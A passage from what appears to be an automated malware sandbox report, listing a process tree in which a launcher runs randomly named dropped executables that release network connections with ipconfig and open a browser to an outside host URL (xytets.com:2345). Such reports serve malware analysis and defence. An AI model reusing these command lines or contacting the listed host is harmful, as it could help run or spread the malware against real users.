      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4940
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtnlgdyvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2872
  - - C:\Temp\i_bvtnlgdyvq.exe
      C:\Temp\i_bvtnlgdyvq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifaysqkic.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3656
  - - C:\Temp\nifaysqkic.exe
      C:\Temp\nifaysqkic.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6140
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3392
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5012
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifaysqkic.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4296
  - - C:\Temp\i_nifaysqkic.exe
      C:\Temp\i_nifaysqkic.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fayspkicau.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3136
  - - C:\Temp\fayspkicau.exe
      C:\Temp\fayspkicau.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2840
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fayspkicau.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4744
  - - C:\Temp\i_fayspkicau.exe
      C:\Temp\i_fayspkicau.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxvpnhfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1128
  - - C:\Temp\zxvpnhfzxs.exe
      C:\Temp\zxvpnhfzxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3492
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxvpnhfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1808
  - - C:\Temp\i_zxvpnhfzxs.exe
      C:\Temp\i_zxvpnhfzxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpjhczxrp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:680
  - - C:\Temp\xrpjhczxrp.exe
      C:\Temp\xrpjhczxrp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3336
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1336
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2040
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpjhczxrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1156
  - - C:\Temp\i_xrpjhczxrp.exe
      C:\Temp\i_xrpjhczxrp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmhcztrmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4732
  - - C:\Temp\rpmhcztrmj.exe
      C:\Temp\rpmhcztrmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3232
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1736
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5464
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmhcztrmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5760
  - - C:\Temp\i_rpmhcztrmj.exe
      C:\Temp\i_rpmhcztrmj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ugeywromge.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4960
  - - C:\Temp\ugeywromge.exe
      C:\Temp\ugeywromge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5904
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2856
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5660
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ugeywromge.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5720
  - - C:\Temp\i_ugeywromge.exe
      C:\Temp\i_ugeywromge.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ojgebwtomg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2484
  - - C:\Temp\ojgebwtomg.exe
      C:\Temp\ojgebwtomg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3548
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5316
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4772
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ojgebwtomg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5936
  - - C:\Temp\i_ojgebwtomg.exe
      C:\Temp\i_ojgebwtomg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4184
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigdywqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4640
  - - C:\Temp\qoigdywqoi.exe
      C:\Temp\qoigdywqoi.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2888
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4396
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigdywqoi.exe ups_ins
    3⤵
    PID:5152
  - - C:\Temp\i_qoigdywqoi.exe
      C:\Temp\i_qoigdywqoi.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:924
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdbvtqli.exe ups_run
    3⤵
    PID:4072
  - - C:\Temp\nlfdbvtqli.exe
      C:\Temp\nlfdbvtqli.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5180
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4820
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdbvtqli.exe ups_ins
    3⤵
    PID:2040
  - - C:\Temp\i_nlfdbvtqli.exe
      C:\Temp\i_nlfdbvtqli.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kigaytndav.exe ups_run
    3⤵
    PID:4900
  - - C:\Temp\kigaytndav.exe
      C:\Temp\kigaytndav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5312
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1676
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kigaytndav.exe ups_ins
    3⤵
    PID:2764
  - - C:\Temp\i_kigaytndav.exe
      C:\Temp\i_kigaytndav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nhfaxspnhf.exe ups_run
    3⤵
    PID:2524
  - - C:\Temp\nhfaxspnhf.exe
      C:\Temp\nhfaxspnhf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:724
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3624
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nhfaxspnhf.exe ups_ins
    3⤵
    PID:3588
  - - C:\Temp\i_nhfaxspnhf.exe
      C:\Temp\i_nhfaxspnhf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2368
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nhfzxuspki.exe ups_run
    3⤵
    PID:2068
  - - C:\Temp\nhfzxuspki.exe
      C:\Temp\nhfzxuspki.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4996
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3872
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nhfzxuspki.exe ups_ins
    3⤵
    PID:5520
  - - C:\Temp\i_nhfzxuspki.exe
      C:\Temp\i_nhfzxuspki.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4168
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hezxrpjhbz.exe ups_run
    3⤵
    PID:2592
  - - C:\Temp\hezxrpjhbz.exe
      C:\Temp\hezxrpjhbz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4316
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4904
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hezxrpjhbz.exe ups_ins
    3⤵
    PID:700
  - - C:\Temp\i_hezxrpjhbz.exe
      C:\Temp\i_hezxrpjhbz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhezxromk.exe ups_run
    3⤵
    PID:4448
  - - C:\Temp\pjhezxromk.exe
      C:\Temp\pjhezxromk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3168
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2952
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhezxromk.exe ups_ins
    3⤵
    PID:3840
  - - C:\Temp\i_pjhezxromk.exe
      C:\Temp\i_pjhezxromk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljhbztrlj.exe ups_run
    3⤵
    PID:1520
  - - C:\Temp\rljhbztrlj.exe
      C:\Temp\rljhbztrlj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:476
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:436
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljhbztrlj.exe ups_ins
    3⤵
    PID:2464
  - - C:\Temp\i_rljhbztrlj.exe
      C:\Temp\i_rljhbztrlj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtomgeywqo.exe ups_run
    3⤵
    PID:5280
  - - C:\Temp\wtomgeywqo.exe
      C:\Temp\wtomgeywqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4188
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtomgeywqo.exe ups_ins
    3⤵
    PID:3440
  - - C:\Temp\i_wtomgeywqo.exe
      C:\Temp\i_wtomgeywqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:940
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wqnlfdbywq.exe ups_run
    3⤵
    PID:2180
  - - C:\Temp\wqnlfdbywq.exe
      C:\Temp\wqnlfdbywq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5828
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4988
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1764
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c0,0x304,0x7ffb693dc188,0x7ffb693dc194,0x7ffb693dc1a0
      4⤵
      PID:4952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,13472344730887274796,13352090152786504580,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:11
      4⤵
      System Time Discovery
      PID:3080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1916,i,7413210382739082354,16847986836823145490,262144 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:2
      4⤵
      PID:1056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,431449303994064796,10120128193739525162,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:13
      4⤵
      PID:1828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,5672526809526735344,9079783564329880575,2097152 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:4880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,9890279148206198490,10572026228561437861,2097152 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
      4⤵
      PID:3696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4256,i,16421490291658567633,16851214465901793742,2097152 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:9
      4⤵
      PID:700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4240,i,3939921953895347548,2412648341388161115,2097152 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
      4⤵
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3728,i,16819464122917439739,1496166241311016462,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:14
      4⤵
      PID:2404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,11024869327208880713,8676034024745548304,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
      4⤵
      PID:2660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3768,i,3169350821507219068,17049826705025691410,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
      4⤵
      PID:5248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,4861026617944685999,916501782102662113,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
      4⤵
      PID:5000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,4861026617944685999,916501782102662113,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
      4⤵
      PID:5912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4856,i,2053746082458324459,2139199849233549073,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:14
      4⤵
      PID:4720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,13607635079019563069,5539860668232058779,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:14
      4⤵
      PID:4484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1396,i,5631114799811464036,18189799957144430378,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:14
      4⤵
      PID:1060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,16761415940475403556,16555706545500448541,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=748 /prefetch:14
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1424,i,14475588967267112734,13602947218835574197,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6660 /prefetch:14
      4⤵
      PID:4244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,2476137628198169090,1284164649247099691,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6660 /prefetch:14
      4⤵
      PID:2608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6036,i,10258269160157503914,415893067159861623,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:14
      4⤵
      PID:1840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,5742234228371835786,8560452349091244506,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
      4⤵
      PID:5748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
